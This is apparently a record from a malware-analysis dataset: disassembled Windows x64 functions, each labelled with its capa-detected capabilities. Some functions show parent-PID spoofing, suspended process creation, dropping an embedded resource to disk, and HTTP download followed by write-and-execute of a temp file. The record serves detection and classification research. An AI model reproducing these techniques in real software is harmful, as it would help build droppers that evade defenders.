joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002717
Capabilities:
Create process on windows
Create process suspended
Protect spawned processes with mitigation policies
Spoof parent pid

Disassembly:
push rbp
push rdi
push rbx
sub rsp, 0xd0
lea rbp, [rsp + 0xd0]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
lea rdx, [rbp - 0x70]
mov eax, 0
mov ecx, 0xe
mov rdi, rdx
rep stosq qword [rdi], rax
mov rax, qword [rbp + 0x20]
pxor xmm0, xmm0
movups xmmword [rax], xmm0
movq qword [rax + 0x10], xmm0
lea rax, [rbp - 0x78]
mov r9, rax
mov r8d, 0
mov edx, 2
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
call rax
mov rbx, qword [rbp - 0x78]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rbx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
lea rdx, [rbp - 0x78]
mov r9, rdx
mov r8d, 0
mov edx, 2
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
call rax
movabs rax, 0x100000000000
mov qword [rbp - 0x80], rax
mov rax, qword [rbp - 8]
lea rdx, [rbp - 0x80]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 8
mov r9, rdx
mov r8d, 0x20007
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
call rax
mov rax, qword [rbp - 8]
lea rdx, [rbp + 0x30]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 8
mov r9, rdx
mov r8d, 0x20000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
call rax
mov dword [rbp - 0x70], 0x70
mov dword [rbp - 0x34], 0x80001
mov word [rbp - 0x30], 0
mov rax, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x20]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x70]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x808000c
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
call rax
nop
mov rax, qword [rbp + 0x20]
add rsp, 0xd0
pop rbx
pop rdi
pop rbp
ret
Function at 0x1400131e0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.14001d6c0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.14001d6c0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140013250
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140105144]
mov rbx, rcx
test esi, esi
jle 0x140013380
mov rax, qword [0x140105148]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14001329b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140013325
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140013280
mov rcx, rbx
call fcn.140013ca0
mov rdi, rax
test rax, rax
je 0x1400133a2
mov rax, qword [0x140105148]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140013de0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140105148]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140013387
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14001331e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140013330
add dword [0x140105144], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140105148]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14001331e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1400131e0
nop dword [rax]
xor esi, esi
jmp 0x1400132a8
mov rax, qword [0x140105148]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.1400131e0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.1400131e0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140013910
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1401051a0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140105180]
test rbx, rbx
je 0x14001396c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140013963
test rsi, rsi
je 0x140013963
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140013948
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140013ca0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400df900]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140013cc0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140013cc8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140013cc0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140013d1d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140013d14
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140013cc0
add rax, 0x28
cmp rax, r9
jne 0x140013d00
xor eax, eax
ret

Function at 0x140013d20
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400df900]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140013d3f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140013d48
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140013d3f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140013de0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400df900]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140013dff
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140013e08
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140082250
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
mov rcx, qword [rdi]
call sub.msvcrt.dll__fileno_1
mov ecx, eax
mov r8d, ebx
mov rdx, rsi
call sub.msvcrt.dll__read
movsxd rbp, eax
cmp eax, 0xffffffff
je 0x140082298
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call r12
cmp dword [rax], 4
je 0x14008226a
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x1400bcd50
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1400d8be0]
jmp 0x140014af0

Function at 0x1400bcd60
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1400d8be0]
jmp 0x140014af0
Function at 0x7ff706811150
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push rbx
push rdi
sub rsp, 0x48
xor ebx, ebx
xor ecx, ecx
mov dword [rsp + 0x60], ebx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
test rax, rax
jne 0x7ff70681118f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
test eax, eax
jle 0x7ff7068112ce
movzx ebx, ax
or ebx, 0x80070000
mov eax, ebx
add rsp, 0x48
pop rdi
pop rbx
ret
lea r8, [0x7ff70681fdf8]
mov edx, 0x65
mov rcx, rax
mov qword [rsp + 0x70], rsi
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rsi, rax
test rax, rax
je 0x7ff7068111ce
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x7ff7068111f5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
test eax, eax
jle 0x7ff7068112c9
mov rsi, qword [rsp + 0x70]
movzx ebx, ax
or ebx, 0x80070000
mov eax, ebx
add rsp, 0x48
pop rdi
pop rbx
ret
mov rcx, rax
mov qword [rsp + 0x40], r12
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r12, rax
test rax, rax
jne 0x7ff706811229
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
test eax, eax
jle 0x7ff7068112c4
movzx ebx, ax
or ebx, 0x80070000
jmp 0x7ff7068112c4
xor r9d, r9d
mov qword [rsp + 0x30], rbx
lea rcx, str.brbconfig.tmp
lea r8d, [r9 + 1]
mov edx, 0xc0000000
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x68], rbp
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbp, rax
cmp rax, 0xffffffffffffffff
jne 0x7ff706811278
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
test eax, eax
jle 0x7ff7068112bf
movzx ebx, ax
or ebx, 0x80070000
jmp 0x7ff7068112bf
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
lea r9, [rsp + 0x60]
mov rdx, r12
mov rcx, rbp
mov r8d, eax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x7ff7068112b6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
test eax, eax
jle 0x7ff7068112b6
movzx ebx, ax
or ebx, 0x80070000
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbp, qword [rsp + 0x68]
mov r12, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x70]
mov eax, ebx
add rsp, 0x48
pop rdi
pop rbx
ret
Function at 0x7ff706811770
Capabilities:
Get hostname
Resolve dns

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x130
mov rax, qword [0x7ff706822008]
xor rax, rsp
mov qword [rsp + 0x120], rax
mov rsi, rcx
lea rcx, [rsp + 0x21]
xor edx, edx
mov r8d, 0xfe
mov byte [rsp + 0x20], 0
call fcn.7ff7068144b0
lea rcx, [rsp + 0x20]
mov edx, 0xff
call qword [sym.imp.WS2_32.dll_gethostname]
lea rcx, [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx]
mov ebx, dword [rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x7ff706811815
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_inet_ntoa]
lea rdx, [0x7ff70681fe5c]
mov rcx, rdi
mov r8, rax
call fcn.7ff706813884
mov qword [rsi], rdi
xor eax, eax
jmp 0x7ff70681181a
mov eax, 0x8000ffff
mov rcx, qword [rsp + 0x120]
xor rcx, rsp
call fcn.7ff706813590
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x7ff706811fb0
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xe0
xor r15d, r15d
mov rdi, rcx
lea rcx, [rsp + 0x70]
lea r8d, [r15 + 0x68]
xor edx, edx
mov esi, r15d
mov r12d, r15d
call fcn.7ff7068144b0
mov ecx, dword [rdi]
xor eax, eax
dec ecx
mov dword [rsp + 0x70], 0x68
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
je 0x7ff7068121cd
dec ecx
je 0x7ff7068121bb
dec ecx
je 0x7ff706812105
dec ecx
je 0x7ff706812024
mov eax, 0x80070057
jmp 0x7ff7068120ea
mov rbx, qword [rdi + 8]
or rcx, 0xffffffffffffffff
mov dword [rsp + 0x120], r15d
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
lea r13, [rcx - 1]
shr r13, 1
mov ebp, r13d
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, r13d
mov rcx, rax
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
test rax, rax
jne 0x7ff70681206c
mov edi, 0x8007000e
jmp 0x7ff7068120b7
test r13d, r13d
je 0x7ff7068120ae
mov rdi, rax
nop word [rax + rax]
lea r8, [rsp + 0x120]
lea rdx, [0x7ff70681fe50]
mov rcx, rbx
call fcn.7ff706813658
movzx edx, byte [rsp + 0x120]
inc rdi
mov byte [rdi - 1], dl
add rbx, 2
dec rbp
jne 0x7ff706812080
mov r12d, r13d
mov rsi, r14
mov edi, r15d
test edi, edi
js 0x7ff7068120cf
mov edx, r12d
mov rcx, rsi
call fcn.7ff706813100
mov edi, eax
test eax, eax
js 0x7ff7068120cf
mov edi, r15d
test rsi, rsi
je 0x7ff7068120e8
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
mov rbx, qword [rsp + 0x130]
add rsp, 0xe0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov rbx, qword [rdi + 8]
or rcx, 0xffffffffffffffff
mov dword [rsp + 0x128], r15d
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
lea r13, [rcx - 1]
shr r13, 1
mov ebp, r13d
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, r13d
mov rcx, rax
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
test rax, rax
jne 0x7ff70681214d
mov edi, 0x8007000e
jmp 0x7ff706812197
test r13d, r13d
je 0x7ff70681218e
mov rdi, rax
nop word [rax + rax]
lea r8, [rsp + 0x128]
lea rdx, [0x7ff70681fe50]
mov rcx, rbx
call fcn.7ff706813658
movzx edx, byte [rsp + 0x128]
inc rdi
mov byte [rdi - 1], dl
add rbx, 2
dec rbp
jne 0x7ff706812160
mov r12d, r13d
mov rsi, r14
mov edi, r15d
test edi, edi
js 0x7ff7068120cf
mov edx, r12d
mov rcx, rsi
call fcn.7ff706812940
lea rcx, [0x7ff706824560]
call fcn.7ff7068112e0
jmp 0x7ff7068120c6
mov rcx, qword [0x7ff706824558]
call qword [sym.imp.KERNEL32.dll_SetEvent]
jmp 0x7ff7068120cc
mov rdx, qword [rdi + 8]
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
xor ecx, ecx
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x7ff7068120cc
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x7ff7068120ea
movzx eax, ax
or eax, 0x80070000
jmp 0x7ff7068120ea
Function at 0x7ff7068127c0
Capabilities:
Initialize winsock library

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x1e0
mov rax, qword [0x7ff706822008]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
xor edi, edi
xor ecx, ecx
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.USER32.dll_GetDC]
lea rdx, [rsp + 0x30]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
call fcn.7ff706812230
call fcn.7ff706811150
mov ebx, eax
test eax, eax
js 0x7ff706812907
lea rcx, [0x7ff706824560]
call fcn.7ff7068112e0
mov ebx, eax
test eax, eax
js 0x7ff706812907
lea edx, [rdi + 1]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [0x7ff706824558], rax
lea r8, [rsp + 0x28]
lea rdx, [rsp + 0x20]
lea rcx, [0x7ff706824560]
call fcn.7ff706811c10
mov rbx, qword [rsp + 0x28]
test eax, eax
js 0x7ff70681288a
lea r8, [0x7ff706824560]
lea rdx, [0x7ff706824540]
mov rcx, rbx
call fcn.7ff706811840
test eax, eax
js 0x7ff70681288a
lea rcx, [0x7ff706824540]
call fcn.7ff706811fb0
test rbx, rbx
je 0x7ff70681289d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov qword [rsp + 0x28], rdi
mov rcx, qword [rsp + 0x20]
test rcx, rcx
je 0x7ff7068128b2
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov qword [rsp + 0x20], rdi
cmp qword [0x7ff706824548], rdi
je 0x7ff7068128d3
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [0x7ff706824548]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov edx, dword [0x7ff706824a78]
mov rcx, qword [0x7ff706824558]
xor eax, eax
mov qword [0x7ff706824540], rax
mov qword [0x7ff706824548], rax
mov qword [0x7ff706824550], rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x7ff706812845
mov ebx, edi
call fcn.7ff706812550
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, ebx
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.7ff706813590
mov rbx, qword [rsp + 0x1f0]
add rsp, 0x1e0
pop rdi
ret
Function at 0x7ff706812f50
Capabilities:
Connect to http server
Create http request

Disassembly:
push rbx
push r12
push r13
sub rsp, 0x40
xor r13d, r13d
mov r12, rcx
lea rcx, str.Mozilla_4.0__compatible__MSIE_8.0__Windows_NT_6.1__Trident_4.0_
lea edx, [r13 + 1]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], r13d
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rbx, rax
test rax, rax
je 0x7ff706813018
mov qword [rsp + 0x60], rbp
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], rdi
lea rdi, [0x7ff7068233d0]
lea rsi, [0x7ff7068233d4]
lea ebp, [r13 + 3]
nop dword [rax]
mov edx, dword [rdi]
mov r9d, 4
mov r8, rsi
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetSetOptionA]
add rsi, 8
add rdi, 8
dec rbp
jne 0x7ff706812fb0
mov qword [rsp + 0x38], r13
mov dword [rsp + 0x30], r13d
lea r8d, [rbp + 0x50]
xor r9d, r9d
mov rdx, r12
mov rcx, rbx
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], r13
call qword [sym.imp.WININET.dll_InternetConnectA]
mov rdi, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x60]
test rax, rax
jne 0x7ff70681301a
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
add rsp, 0x40
pop r13
pop r12
pop rbx
ret

Function at 0x7ff706813030
Capabilities:
Check http status code
Send data
Send http request

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
xor edi, edi
lea rax, [0x7ff7068233c0]
mov r8, rdx
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], 0x8404f700
mov qword [rsp + 0x28], rax
lea r9, str.HTTP_1.1
lea rdx, [0x7ff70681ff7c]
mov qword [rsp + 0x20], rdi
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rbx, rax
test rax, rax
je 0x7ff7068130e6
lea r8d, [rdi + 0x13]
lea rdx, str.Connection:_close_r_n
xor r9d, r9d
mov rcx, rax
mov dword [rsp + 0x20], edi
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x7ff7068130dd
lea r9, [rsp + 0x68]
lea r8, [rsp + 0x60]
mov edx, 0x20000013
mov rcx, rbx
mov dword [rsp + 0x60], edi
mov dword [rsp + 0x68], 4
mov qword [rsp + 0x20], rdi
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x7ff7068130dd
cmp dword [rsp + 0x60], 0xc8
jne 0x7ff7068130dd
mov rax, rbx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x7ff706813100
Capabilities:
Create process on windows
Get common file path
Move file
Write and execute a file
Write file on windows

Disassembly:
push rbx
push rbp
push rsi
sub rsp, 0x310
mov rax, qword [0x7ff706822008]
xor rax, rsp
mov qword [rsp + 0x300], rax
mov rsi, rcx
mov ebp, edx
lea rcx, [rsp + 0x1f1]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x1f0], 0
call fcn.7ff7068144b0
lea rcx, [rsp + 0xe1]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0xe0], 0
call fcn.7ff7068144b0
xor ebx, ebx
lea rcx, [rsp + 0x70]
lea r8d, [rbx + 0x68]
xor edx, edx
mov dword [rsp + 0x50], ebx
call fcn.7ff7068144b0
xor eax, eax
lea rdx, [rsp + 0x1f0]
mov ecx, 0x104
mov dword [rsp + 0x70], 0x68
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
jne 0x7ff7068131bd
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x7ff7068132df
movzx eax, ax
or eax, 0x80070000
jmp 0x7ff7068132df
lea r9, [rsp + 0xe0]
lea rdx, [0x7ff70681ff94]
lea rcx, [rsp + 0x1f0]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
je 0x7ff7068131a2
xor r9d, r9d
mov qword [rsp + 0x30], rbx
lea rcx, [rsp + 0xe0]
lea r8d, [r9 + 1]
mov edx, 0xc0000000
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x340], rdi
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x7ff706813238
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x7ff7068132d7
movzx eax, ax
or eax, 0x80070000
jmp 0x7ff7068132d7
lea r9, [rsp + 0x50]
mov r8d, ebp
mov rdx, rsi
mov rcx, rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x7ff70681326c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
test eax, eax
jle 0x7ff7068132cc
movzx ebx, ax
or ebx, 0x80070000
jmp 0x7ff7068132cc
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0x58]
lea rdx, [rsp + 0xe0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
xor r8d, r8d
xor ecx, ecx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
mov rdi, rbx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x7ff706813255
xor edx, edx
lea rcx, [rsp + 0xe0]
lea r8d, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_MoveFileExA]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rdi, qword [rsp + 0x340]
mov rcx, qword [rsp + 0x300]
xor rcx, rsp
call fcn.7ff706813590
add rsp, 0x310
pop rsi
pop rbp
pop rbx
ret

Function at 0x7ff706817a58
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.7ff7068178c8
Function at 0x7ff70681b784
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x7ff706822008]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.7ff706817268
xor ebx, ebx
cmp qword [0x7ff706824500], rbx
mov rdi, rax
jne 0x7ff70681b897
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x7ff70681b96e
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x7ff70681b96e
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x7ff706824500], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x7ff706824508], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x7ff706824510], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x7ff706824520], rax
test rax, rax
je 0x7ff70681b88e
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x7ff706824518], rax
jmp 0x7ff70681b89e
mov rax, qword [0x7ff706824518]
jmp 0x7ff70681b8a5
mov rax, qword [0x7ff706824518]
mov r11, qword [0x7ff706824520]
cmp rax, rdi
je 0x7ff70681b90c
cmp r11, rdi
je 0x7ff70681b90c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x7ff706824520]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x7ff70681b90c
test rax, rax
je 0x7ff70681b90c
call rsi
test rax, rax
je 0x7ff70681b906
lea rcx, [rsp + 0x30]
mov r9d, reloc.WS2_32.dll_inet_ntoa
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x7ff70681b906
test byte [rsp + 0x40], 1
jne 0x7ff70681b90c
bts ebp, 0x15
jmp 0x7ff70681b94c
mov rcx, qword [0x7ff706824508]
cmp rcx, rdi
je 0x7ff70681b94c
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x7ff70681b94c
call rax
mov rbx, rax
test rax, rax
je 0x7ff70681b94c
mov rcx, qword [0x7ff706824510]
cmp rcx, rdi
je 0x7ff70681b94c
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x7ff70681b94c
